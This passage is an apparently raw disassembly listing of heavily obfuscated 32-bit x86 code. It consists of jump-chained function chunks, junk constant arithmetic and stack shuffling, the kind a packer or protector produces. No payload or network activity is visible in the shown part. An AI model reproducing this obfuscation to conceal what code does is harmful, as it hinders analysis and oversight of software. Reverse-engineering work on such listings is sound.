sub_59A26C-1086j pop edx jmp loc_5A4BD0 ; END OF FUNCTION CHUNK FOR sub_59A26C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59CBE1 loc_5AFCC1: ; CODE XREF: sub_59CBE1+4EB3j mov [esp+4+var_4], edx push 1A76D77h mov edx, [esp+8+var_8] add esp, 4 sub edx, 740F582Eh shr edx, 8 jnz loc_59D4F7 push esi jmp loc_5AB374 ; END OF FUNCTION CHUNK FOR sub_59CBE1 ; --------------------------------------------------------------------------- mov cx, [esp] push esi push esp push ebp ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5AFCEE: ; CODE XREF: sub_5AA2D1-19E9j pop esp jmp loc_59F96F ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_599884 loc_5AFCF4: ; CODE XREF: sub_5A580F+42ABj ; sub_599884+150A1j inc edx jmp loc_5A3B84 ; END OF FUNCTION CHUNK FOR sub_599884 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5B01F7 loc_5AFCFA: ; CODE XREF: sub_5B01F7-53B9j push edi jmp loc_5AC9A8 ; END OF FUNCTION CHUNK FOR sub_5B01F7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AB179 loc_5AFD00: ; CODE XREF: sub_5AB179-AF70j push edx mov edx, 66834F6Eh sub edx, 1 or edx, 0BA67A36h jmp loc_59DD1D ; END OF FUNCTION CHUNK FOR sub_5AB179 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59A479 loc_5AFD17: ; CODE XREF: sub_59A479:loc_5A51EFj or eax, 64B11E7Bh sub eax, 4FCF2F74h jmp loc_5A783F ; END OF FUNCTION CHUNK FOR sub_59A479 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A4CF3 loc_5AFD26: ; CODE XREF: sub_5A4CF3-594Aj add esp, 4 add edx, 4 jmp sub_5A917C ; END OF FUNCTION CHUNK FOR sub_5A4CF3 ; =============== S U B R O U T I N E ======================================= sub_5AFD37 proc near ; DATA XREF: sdfs____:00598F5Co var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0059D14F SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0059D898 SIZE 0000001F BYTES ; FUNCTION CHUNK AT 005A30D2 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 005A464C SIZE 00000007 BYTES ; FUNCTION CHUNK AT 005A9B58 SIZE 0000000C BYTES mov ax, [esp+0] push 13F5h mov [esp+4+var_4], edi mov edi, esp jmp loc_5A9B58 sub_5AFD37 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A0FFF loc_5AFD4A: ; CODE XREF: sub_5A0FFF+4j not dh and dh, 10h jnp loc_59D438 inc dh xor dh, 0FCh jmp loc_5A7D75 ; END OF FUNCTION CHUNK FOR sub_5A0FFF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A18F6 loc_5AFD5F: ; CODE XREF: sub_5A18F6+345Aj push esi push [esp+10h+var_C] jmp loc_5A8C3A ; END OF FUNCTION CHUNK FOR sub_5A18F6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AC803 loc_5AFD69: ; CODE XREF: sub_5AC803-F866j shr edx, 7 js loc_5A11BE xor edx, 10EA6D25h jb loc_5AAEDC shr edx, 8 jnp loc_5B015D push esi sub esp, 4 jmp loc_59E39B ; END OF FUNCTION CHUNK FOR sub_5AC803 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5AFD90: ; CODE XREF: sub_5AA2D1-F6A3j ; sub_5AA2D1-E57Dj pop esi jmp loc_5AEC01 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59A479 loc_5AFD96: ; CODE XREF: sub_59A479+429Cj xor eax, 0D1B3A518h add edi, eax jmp loc_59B6A4 ; END OF FUNCTION CHUNK FOR sub_59A479 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A63DC loc_5AFDA2: ; CODE XREF: sub_5A63DC+4F09j add ebx, 4 xchg ebx, [esp+10h+var_10] jmp loc_59C12F ; END OF FUNCTION CHUNK FOR sub_5A63DC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A355D loc_5AFDAD: ; CODE XREF: sub_5A355D+563Cj push esp pop ebx jmp loc_5A5E61 ; END OF FUNCTION CHUNK FOR sub_5A355D ; --------------------------------------------------------------------------- loc_5AFDB4: ; CODE XREF: sdfs____:005AE306j push eax mov eax, esp push edi jmp loc_5AD651 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AF8FF loc_5AFDBD: ; CODE XREF: sub_5AF8FF-15B26j mov [esp+8+var_8], esp push ebx jmp loc_5AA7CC ; END OF FUNCTION CHUNK FOR sub_5AF8FF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AD993 loc_5AFDC6: ; CODE XREF: sub_5AD993+1E7Cj dec ebx jno loc_5A0145 sub ebx, 407F2E70h inc ebx mov cl, ch pop esp ; END OF FUNCTION CHUNK FOR sub_5AD993 ; START OF FUNCTION CHUNK FOR sub_5A9D64 loc_5AFDD7: ; CODE XREF: sub_5A9D64:loc_5A6626j or ebx, 52037C90h jmp loc_5A7EAC ; END OF FUNCTION CHUNK FOR sub_5A9D64 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5AFDE2: ; CODE XREF: sub_5AA2D1-7929j dec edx neg edx xor edx, 0AA18A6CFh sub eax, edx mov edx, [esp+0Ch+var_C] add esp, 4 add eax, ebp jmp loc_59C38B ; --------------------------------------------------------------------------- loc_5AFDFD: ; CODE XREF: sub_5AA2D1-2FA9j mov edi, 1E8179Dh and eax, edi pop edi shr eax, 4 shr eax, 3 xor eax, 8D33F1h jmp loc_599DB7 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_599A61 loc_5AFE15: ; CODE XREF: sub_599A61+ED31j push [esp-10h+arg_C] mov ebp, [esp-0Ch+arg_4] add esp, 4 pop [esp-10h+arg_8] mov esp, [esp-14h+arg_C] mov word ptr [esp-14h+arg_C], dx push ax pushf jmp loc_59FE30 ; END OF FUNCTION CHUNK FOR sub_599A61 ; --------------------------------------------------------------------------- loc_5AFE31: ; CODE XREF: sdfs____:005A39FFj mov [esp], ecx push ebx mov bl, 0D0h mov cl, 5Eh add cl, bl push dword ptr [esp] pop ebx add esp, 4 jmp loc_59EAB1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A6BBC loc_5AFE47: ; CODE XREF: sub_5A6BBC+E9Dj xor esi, edi mov edi, [esp+8+var_8] jmp loc_5A71CD ; END OF FUNCTION CHUNK FOR sub_5A6BBC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59D6B8 loc_5AFE51: ; CODE XREF: sub_59D6B8-28B3j mov ecx, edi pop edi and eax, ecx mov ecx, [esp+0Ch+var_C] add esp, 4 jmp loc_59B146 ; END OF FUNCTION CHUNK FOR sub_59D6B8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5AFE61: ; CODE XREF: sub_5AA2D1-B14Aj push eax mov eax, 152545CFh add eax, 42734F02h shl eax, 2 sub eax, 11604AA4h sub edi, eax pop eax jmp loc_5A3A6D ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A4D9D loc_5AFE7C: ; CODE XREF: sub_5A4D9D-3DF7j pop esp mov [esp+0], edi mov edi, 0F48A894Bh add esi, 56711434h add esi, edi jmp loc_599AC1 ; END OF FUNCTION CHUNK FOR sub_5A4D9D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59A479 loc_5AFE92: ; CODE XREF: sub_59A479+DD13j sub ecx, 4FED7FDFh jmp loc_59A174 ; END OF FUNCTION CHUNK FOR sub_59A479 ; =============== S U B R O U T I N E ======================================= sub_5AFE9D proc near ; CODE XREF: sub_5AA2D1+15AAj var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 005A0176 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 005ABA26 SIZE 00000012 BYTES sub esp, 4 mov [esp+4+var_4], eax mov eax, 72FE475Ah shl eax, 3 shr eax, 5 xor eax, 0B2010DBh and eax, 7CE2199Fh jmp loc_5ABA26 sub_5AFE9D endp ; --------------------------------------------------------------------------- loc_5AFEC0: ; CODE XREF: sdfs____:005A2C42j mov esi, 76422996h jmp loc_5AB55F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AE9FA loc_5AFECA: ; CODE XREF: sub_5AE9FA-B41Fj push 17E9h mov [esp+0], esi mov esi, 684603Bh shl esi, 1 dec esi and esi, 399C18D7h and esi, 23FA1369h jmp loc_59B75F ; END OF FUNCTION CHUNK FOR sub_5AE9FA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5AFEEB: ; CODE XREF: sub_5AA2D1-18FDj mov ebp, [esp-4+arg_0] jmp loc_5A440D ; --------------------------------------------------------------------------- loc_5AFEF3: ; CODE XREF: sub_5AA2D1+6112j mov [esp-4+arg_0], esi jmp loc_59C79B ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A4886 loc_5AFEFB: ; CODE XREF: sub_5A4886-96A1j add esi, 4 push eax push edx mov edx, 4C451F07h mov eax, edx jmp loc_5A6C2A ; END OF FUNCTION CHUNK FOR sub_5A4886 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AF9B3 loc_5AFF0F: ; CODE XREF: sub_5AF9B3-72D6j mov esi, ebp pop ebp add esi, edx pop edx sub esp, 4 mov [esp-4+arg_0], eax mov eax, 139320E0h add eax, 5ABB73D6h jmp loc_5AB310 ; END OF FUNCTION CHUNK FOR sub_5AF9B3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_599CC6 loc_5AFF2A: ; CODE XREF: sub_599CC6+2j mov ah, dl mov bh, ah jmp loc_59E20A ; END OF FUNCTION CHUNK FOR sub_599CC6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5992DA loc_5AFF33: ; CODE XREF: sub_5992DA+CBCBj add ch, 66h jmp loc_5AFFBB ; END OF FUNCTION CHUNK FOR sub_5992DA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AC803 loc_5AFF3B: ; CODE XREF: sub_5AC803-FA64j mov ebx, [esp-4+arg_0] add esp, 4 push ebx mov bl, 6Bh jmp loc_5A7D48 ; END OF FUNCTION CHUNK FOR sub_5AC803 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5AFF49: ; CODE XREF: sub_5AA2D1-64C8j ; sub_5A18F6+260Fj push eax mov eax, 4 jmp loc_5A12B0 ; --------------------------------------------------------------------------- loc_5AFF54: ; CODE XREF: sub_5AA2D1+1FCDj sub ebx, ebp pop ebp add ebx, 15FC7032h push eax mov eax, 54A965B3h add eax, 0B02CAA0Bh jmp loc_5A94EC ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A10E3 loc_5AFF6D: ; CODE XREF: sub_5A10E3-11FAj add ebp, 4 xchg ebp, [esp+0Ch+var_C] pop esp add ebx, 10D07595h add ebx, 3DA15C5Fh push edi mov edi, 69FE50C0h jmp loc_5A466D ; END OF FUNCTION CHUNK FOR sub_5A10E3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AB08D loc_5AFF8E: ; CODE XREF: sub_5AB08D-BDC1j mov esi, 75FC20F9h push edx push ecx mov ecx, 0F08355Eh mov edx, 0F2E6E64Ch add edx, ecx pop ecx sub edx, 8BF2FAB3h add esi, 39627ECFh sub esi, edx sub esi, 39627ECFh jmp loc_5A1E3E ; END OF FUNCTION CHUNK FOR sub_5AB08D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5992DA loc_5AFFBB: ; CODE XREF: sub_5992DA+16C5Cj push eax push ebx push eax mov al, ch mov bh, al jmp loc_5A0636 ; END OF FUNCTION CHUNK FOR sub_5992DA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5AFFC7: ; CODE XREF: sub_5AA2D1-DF3Ej pop edx jmp loc_5AAD77 ; --------------------------------------------------------------------------- loc_5AFFCD: ; CODE XREF: sub_5AA2D1+46A8j add esp, 2 jmp loc_59B60B ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A7BA0 loc_5AFFD5: ; CODE XREF: sub_5A7BA0+7465j sub ecx, 723736D6h sub ecx, edi add ecx, 723736D6h pop edi sub ecx, 0DE70290Fh add edx, 383615C4h jmp loc_5996B1 ; END OF FUNCTION CHUNK FOR sub_5A7BA0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A580F loc_5AFFF5: ; CODE XREF: sub_5A580F-554Cj pop eax add eax, ecx pop ecx xchg eax, [esp-4+arg_0] pop esp add [esp-8+arg_8], ebp jmp loc_5A852E ; END OF FUNCTION CHUNK FOR sub_5A580F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A477C loc_5B0006: ; CODE XREF: sub_5A477C+9255j push ecx mov ecx, 29B30A0Eh jmp loc_59EEC3 ; END OF FUNCTION CHUNK FOR sub_5A477C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A2E41 loc_5B0011: ; CODE XREF: sub_5A2E41+D2FFj add edx, 4 jmp loc_5AFBC6 ; END OF FUNCTION CHUNK FOR sub_5A2E41 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5B001C: ; CODE XREF: sub_5AA2D1-A444j jmp loc_5A2991 ; --------------------------------------------------------------------------- loc_5B0021: ; CODE XREF: sub_5AA2D1-D5B0j pop esi push 780Dh mov [esp-0Ch+arg_8], eax mov eax, 0E1C0CA2h push edi mov edi, 5DAC6B7Ch add ebx, edi pop edi jmp loc_59C4B0 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A9EBF loc_5B003D: ; CODE XREF: sub_5A9EBF-6F6Cj mov [esp+0], ebx push 4A795806h mov ebx, [esp+4+var_4] add esp, 4 sub ebx, 0D0214725h mov edx, ebx pop ebx shr edx, 3 push eax mov eax, 0FFFFFFFFh add edx, eax pop eax jmp loc_5A86C6 ; END OF FUNCTION CHUNK FOR sub_5A9EBF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A6BBC loc_5B0065: ; CODE XREF: sub_5A6BBC+1C4j and edx, 0BF46F45h shr edx, 1 sub edx, 20C77A7Fh add ebp, edx pop edx or edx, ebp mov ebp, [esp+0] push edx mov edx, esp add edx, 4 add edx, 4 jmp loc_5ADAEF ; END OF FUNCTION CHUNK FOR sub_5A6BBC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59D6B8 loc_5B008F: ; CODE XREF: sub_59D6B8+7B07j push 3C19h mov [esp+0], esi sub esp, 4 mov [esp+4+var_4], ecx jmp loc_599DEB ; END OF FUNCTION CHUNK FOR sub_59D6B8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_599A6F loc_5B00A2: ; CODE XREF: sub_599A6F+14B36j neg bh push eax jmp loc_599EBA ; END OF FUNCTION CHUNK FOR sub_599A6F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AB5A9 loc_5B00AA: ; CODE XREF: sub_5AB5A9-D0F3j ; sub_5A4D9D-34ECj xor ecx, 18D70C5h sub ebx, ecx pop ecx add ebx, ecx add ebx, 1C5137Ch pop ecx jmp loc_59B554 ; END OF FUNCTION CHUNK FOR sub_5AB5A9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A7BA0 loc_5B00C1: ; CODE XREF: sub_5A7BA0:loc_59E03Dj xor ecx, 5DD30C1Fh jo loc_5AD1EB push edi push 11A4h jmp loc_5A5375 ; END OF FUNCTION CHUNK FOR sub_5A7BA0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5B00D8: ; CODE XREF: sub_5AA2D1-17A0j mov [esp+0Ch+var_C], ebx mov ebx, 5676753Eh mov esi, 0E1E203CCh jmp loc_5A9560 ; --------------------------------------------------------------------------- loc_5B00EA: ; CODE XREF: sub_5AA2D1+4A49j mov [esp+8+var_8], edx mov edx, 4B7F1F29h sub ebx, edx pop edx sub ebx, 12F761AEh add ebx, eax push ecx push edx mov edx, 41670A16h or edx, 64326CA0h jb loc_5ACC89 neg edx js loc_5A8B85 jmp loc_59EDBE ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- sub dword ptr [esp], 464903D9h ; START OF FUNCTION CHUNK FOR sub_5A2E41 loc_5B0124: ; CODE XREF: sub_5A8B3E-50A7j ; sub_5A2E41+3187j pop esp mov [esp+0], edx push ecx mov ecx, 4 push ecx push edx mov edx, 7D6E19CAh xor [esp+0Ch+var_8], edx pop edx mov edx, [esp+8+var_8] push edx mov edx, esp jmp loc_5B0011 ; END OF FUNCTION CHUNK FOR sub_5A2E41 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A477C loc_5B0145: ; CODE XREF: sub_5A477C+1190j add esi, 4 push ebp push edi jmp loc_59CB36 ; END OF FUNCTION CHUNK FOR sub_5A477C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59E94B loc_5B0152: ; CODE XREF: sub_59E94B+4B7j ; sub_5A580F+D70j sub edi, 79591F39h jmp loc_5AE580 ; END OF FUNCTION CHUNK FOR sub_59E94B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AC803 loc_5B015D: ; CODE XREF: sub_5AC803+15j ; sub_5AC803+357Ej shl esi, 6 jmp loc_5AA5A3 ; END OF FUNCTION CHUNK FOR sub_5AC803 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5B0165: ; CODE XREF: sub_5AA2D1-9AE2j ; sdfs____:005ACC01j add edi, 50D55E8Fh push esi push eax mov eax, 326A3DE6h shr eax, 7 jnp loc_59CCE5 sub eax, 730E28E9h sub eax, 1CEA0BD7h jz loc_5AE0B4 sub eax, 6883A818h mov esi, eax mov eax, [esp-8+arg_4] add esp, 4 jmp loc_5A4979 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A3CF9 loc_5B01A0: ; CODE XREF: sub_5A3CF9+53A5j not ebx xchg eax, ebx dec eax jmp sub_5ADD13 ; END OF FUNCTION CHUNK FOR sub_5A3CF9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A9D6F loc_5B01A9: ; CODE XREF: sub_5A9D6F-F722j pop ecx push ecx mov cl, 71h shr cl, 6 sub cl, 82h sub al, 7Eh jmp loc_59A066 ; END OF FUNCTION CHUNK FOR sub_5A9D6F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5992DA loc_5B01BA: ; CODE XREF: sub_5992DA+43B3j mov ebx, 5B1309CAh jmp loc_599482 ; END OF FUNCTION CHUNK FOR sub_5992DA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AE40A loc_5B01C4: ; CODE XREF: sub_5AE40A+5EBj add esi, ecx jmp loc_5A863F ; END OF FUNCTION CHUNK FOR sub_5AE40A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5B01CB: ; CODE XREF: sub_5AA2D1-4ED2j mov ebp, 7BAC611Eh add ebp, 1 jmp loc_5A6DFE ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_599E21 loc_5B01D8: ; CODE XREF: sub_599E21+1Cj add ebx, edi pop edi jmp loc_5ADF41 ; END OF FUNCTION CHUNK FOR sub_599E21 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5992DA loc_5B01E0: ; CODE XREF: sub_5992DA+14AE2j add esp, 4 add ecx, 4 sub ecx, 4 xchg ecx, [esp+32h+var_32] jmp loc_5A8FB5 ; END OF FUNCTION CHUNK FOR sub_5992DA ; =============== S U B R O U T I N E ======================================= sub_5B01F7 proc near ; CODE XREF: sub_5A118F+A590j var_26 = dword ptr -26h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 ; FUNCTION CHUNK AT 00599F66 SIZE 0000001E BYTES ; FUNCTION CHUNK AT 0059A912 SIZE 0000003A BYTES ; FUNCTION CHUNK AT 0059B519 SIZE 0000001B BYTES ; FUNCTION CHUNK AT 0059B805 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0059B8BC SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0059BCDF SIZE 0000001B BYTES ; FUNCTION CHUNK AT 0059BEA7 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0059D002 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0059D3D3 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0059E0FD SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0059E853 SIZE 00000020 BYTES ; FUNCTION CHUNK AT 0059E9F1 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0059EF23 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0059F8F4 SIZE 0000001B BYTES ; FUNCTION CHUNK AT 0059FF86 SIZE 00000026 BYTES ; FUNCTION CHUNK AT 005A1032 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 005A1852 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 005A18C5 SIZE 0000001D BYTES ; FUNCTION CHUNK AT 005A1B21 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 005A1F43 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 005A291C SIZE 0000001B BYTES ; FUNCTION CHUNK AT 005A2EA7 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 005A2F3B SIZE 00000009 BYTES ; FUNCTION CHUNK AT 005A4109 SIZE 0000002A BYTES ; FUNCTION CHUNK AT 005A4140 SIZE 0000001D BYTES ; FUNCTION CHUNK AT 005A49F2 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 005A4FBC SIZE 00000036 BYTES ; FUNCTION CHUNK AT 005A5404 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 005A591D SIZE 00000027 BYTES ; FUNCTION CHUNK AT 005A5B49 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 005A5E0E SIZE 00000007 BYTES ; FUNCTION CHUNK AT 005A61AF SIZE 00000008 BYTES ; FUNCTION CHUNK AT 005A62DE SIZE 0000000E BYTES ; FUNCTION CHUNK AT 005A65F8 SIZE 0000002E BYTES ; FUNCTION CHUNK AT 005A6835 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 005A7361 SIZE 00000019 BYTES ; FUNCTION CHUNK AT 005A7C1B SIZE 0000000D BYTES ; FUNCTION CHUNK AT 005A7DF2 SIZE 0000001B BYTES ; FUNCTION CHUNK AT 005A8447 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 005A8878 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 005A8C05 SIZE 0000001B BYTES ; FUNCTION CHUNK AT 005A9D7A SIZE 00000018 BYTES ; FUNCTION CHUNK AT 005AAAEC SIZE 00000005 BYTES ; FUNCTION CHUNK AT 005AAE30 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 005AB127 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 005AB5FC SIZE 00000016 BYTES ; FUNCTION CHUNK AT 005AB8B0 SIZE 0000002D BYTES ; FUNCTION CHUNK AT 005AC120 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 005AC271 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 005AC9A8 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 005ACB08 SIZE 00000023 BYTES ; FUNCTION CHUNK AT 005AD296 SIZE 0000003D BYTES ; FUNCTION CHUNK AT 005AD34F SIZE 00000017 BYTES ; FUNCTION CHUNK AT 005AD9D6 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 005ADE45 SIZE 0000001E BYTES ; FUNCTION CHUNK AT 005AF37F SIZE 00000018 BYTES ; FUNCTION CHUNK AT 005AFC3D SIZE 0000000F BYTES ; FUNCTION CHUNK AT 005AFCFA SIZE 00000006 BYTES push ebp mov ebp, 6C4730ADh push edx push 8016E89h jmp loc_59E853 sub_5B01F7 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5992DA loc_5B0208: ; CODE XREF: sub_5992DA+89BEj push cx push edx mov dl, 63h mov cl, dl pop edx add bl, 0BEh jmp loc_5A1D0B ; END OF FUNCTION CHUNK FOR sub_5992DA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5B0218: ; CODE XREF: sub_5AA2D1+1D53j sub esi, eax jmp loc_5AA242 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A580F loc_5B021F: ; CODE XREF: sub_5A580F-7E12j add esp, 4 xchg edi, [esp-8+arg_4] mov esp, [esp-8+arg_4] shr eax, 0Bh xor ecx, eax push ebx jmp loc_59D2F6 ; END OF FUNCTION CHUNK FOR sub_5A580F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5B0233: ; CODE XREF: sub_5AA2D1+2B46j xor bp, 0FC7h jno loc_5A4F50 push ax jmp loc_5A77C9 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- add edi, esi jmp loc_5ABA61 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A3C19 loc_5B024C: ; CODE XREF: sub_5A3C19-3E13j pop ebx xor ecx, [esp-8+arg_4] xor [esp-8+arg_4], ecx xor ecx, [esp-8+arg_4] pop esp sub esp, 4 mov [esp-8+arg_4], ecx push esp jmp loc_5AE3E1 ; END OF FUNCTION CHUNK FOR sub_5A3C19 ; =============== S U B R O U T I N E ======================================= sub_5B0266 proc near ; DATA XREF: sdfs____:00598E94o var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 0059C2B1 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0059F430 SIZE 00000025 BYTES ; FUNCTION CHUNK AT 005A1223 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 005A48AC SIZE 0000000A BYTES ; FUNCTION CHUNK AT 005A58A5 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 005ACCD6 SIZE 00000016 BYTES push dword ptr [esp+0] push [esp+4+var_4] pop eax push 20AEh mov [esp+8+var_8], edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp+8+var_8] mov esp, [esp+8+var_8] push 57D4h mov [esp+0], eax jmp loc_59F430 sub_5B0266 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA810 loc_5B0293: ; CODE XREF: sub_5AA810-10DDFj ; sub_5A556E+3j mov [esp+0], ebx push esp mov ebx, [esp+4+var_4] add esp, 4 push eax mov eax, 4 add ebx, eax jmp loc_5A0895 ; END OF FUNCTION CHUNK FOR sub_5AA810 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59ED98 loc_5B02AD: ; CODE XREF: sub_59ED98+6j mov edx, [esp+0] add esp, 4 jmp loc_59E74F ; END OF FUNCTION CHUNK FOR sub_59ED98 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5B02B8: ; CODE XREF: sub_5AA2D1+1A29j add ecx, 2 jmp loc_5AACBE ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; =============== S U B R O U T I N E ======================================= sub_5B02C0 proc near ; DATA XREF: sdfs____:00598EF4o var_4 = dword ptr -4 ; FUNCTION CHUNK AT 005A7EBF SIZE 00000017 BYTES ; FUNCTION CHUNK AT 005AAB75 SIZE 00000010 BYTES lodsw xor ax, bx sub esp, 4 mov [esp+4+var_4], edx push small 4CF0h pop dx jmp loc_5A7EBF sub_5B02C0 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A21F1 loc_5B02D9: ; CODE XREF: sub_5A21F1+9j push 20F05DA7h jmp loc_5A05CA ; END OF FUNCTION CHUNK FOR sub_5A21F1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5B02E3: ; CODE XREF: sub_5AA2D1-5FE2j add ebx, 4 add 